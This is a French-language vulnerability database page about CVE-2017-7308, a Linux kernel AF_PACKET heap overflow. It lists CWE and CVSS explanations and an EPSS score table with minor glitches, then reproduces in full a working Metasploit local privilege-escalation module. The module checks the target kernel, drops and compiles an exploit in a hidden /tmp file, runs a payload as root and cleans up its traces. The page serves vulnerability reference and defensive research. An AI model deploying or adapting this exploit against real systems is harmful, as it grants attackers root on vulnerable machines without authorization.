CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The packet_set_ring function in net/packet/af_packet.c in the Linux kernel through 4.10.6 does not properly validate certain block-size data, which allows local users to cause a denial of service (integer signedness error and out-of-bounds write), or gain privileges (if the CAP_NET_RAW capability is held), via crafted system calls.
Incorrect Conversion between Numeric Types When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.
Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
37.65%
–
–
–
–
2021-09-05
–
37.65%
–
–
–
2022-01-09
–
37.65%
–
–
–
2022-02-06
–
–
2.21%
–
–
2022-02-27
–
–
2.21%
–
–
2022-04-03
–
–
2.21%
–
–
2022-04-24
–
–
2.21%
–
–
2022-10-02
–
–
2.21%
–
–
2023-01-15
–
–
2.2%
–
–
2023-01-22
–
–
2.2%
–
–
2023-02-05
–
–
2.2%
–
–
2023-02-12
–
–
2.2%
–
–
2023-03-12
–
–
–
0.09%
–
2023-03-26
–
–
–
0.09%
–
2024-02-11
–
–
–
0.09%
–
2024-03-31
–
–
–
0.09%
–
2024-06-02
–
–
–
0.09%
–
2024-10-13
–
–
–
0.09%
–
2025-02-02
–
–
–
0.09%
–
2025-01-19
–
–
–
0.09%
–
2025-02-02
–
–
–
0.09%
–
2025-03-18
–
–
–
–
86.26%
2025-03-30
–
–
–
–
86.29%
2025-04-13
–
–
–
–
81.23%
2025-04-13
–
–
–
–
81.23,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2018-05-17 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'AF_PACKET packet_set_ring Privilege Escalation',
'Description' => %q{
This module exploits a heap-out-of-bounds write in the packet_set_ring
function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel
to execute code as root (CVE-2017-7308).
The bug was initially introduced in 2011 and patched in version 4.10.6,
potentially affecting a large number of kernels; however this exploit
targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46,
including Linux distros based on Ubuntu Xenial, such as Linux Mint.
The target system must have unprivileged user namespaces enabled and
two or more CPU cores.
Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
may crash the kernel.
This module has been tested successfully on Linux Mint 18 (x86_64)
with kernel versions:
4.8.0-34-generic;
4.8.0-36-generic;
4.8.0-39-generic;
4.8.0-41-generic;
4.8.0-42-generic;
4.8.0-44-generic;
4.8.0-45-generic.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrey Konovalov', # Discovery and C exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Mar 29 2017',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'EDB', '41994' ],
[ 'CVE', '2017-7308' ],
[ 'BID', '97234' ],
[ 'URL', 'https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html' ],
[ 'URL', 'https://www.coresecurity.com/blog/solving-post-exploitation-issue-cve-2017-7308' ],
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7308.html', ],
[ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c' ],
[ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/cve-2017-7308/CVE-2017-7308/poc.c' ]
],
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
]
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
end
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
def upload_and_compile(path, data)
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
cmd_exec "chmod +x #{path}"
end
def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-7308', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
version = kernel_release
unless version =~ /^4\.8\.0-(34|36|39|41|42|44|45)-generic/
vprint_error "Linux kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Linux kernel version #{version} is vulnerable"
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
cores = get_cpu_info[:cores].to_i
min_required_cores = 2
unless cores >= min_required_cores
vprint_error "System has less than #{min_required_cores} CPU cores"
return CheckCode::Safe
end
vprint_good "System has #{cores} CPU cores"
unless userns_enabled?
vprint_error 'Unprivileged user namespaces are not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged user namespaces are permitted'
if kptr_restrict? && dmesg_restrict?
vprint_error 'Both kernel.kptr_restrict and kernel.dmesg_destrict are enabled. KASLR bypass will fail.'
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, exploit_data('poc.c')
rm_f "#{executable_path}.c"
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('exploit')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status 'Launching exploit...'
output = cmd_exec "#{executable_path} #{payload_path}"
output.each_line { |line| vprint_status line.chomp }
print_status 'Deleting executable...'
rm_f executable_path
Rex.sleep 5
print_status 'Deleting payload...'
rm_f payload_path
end
end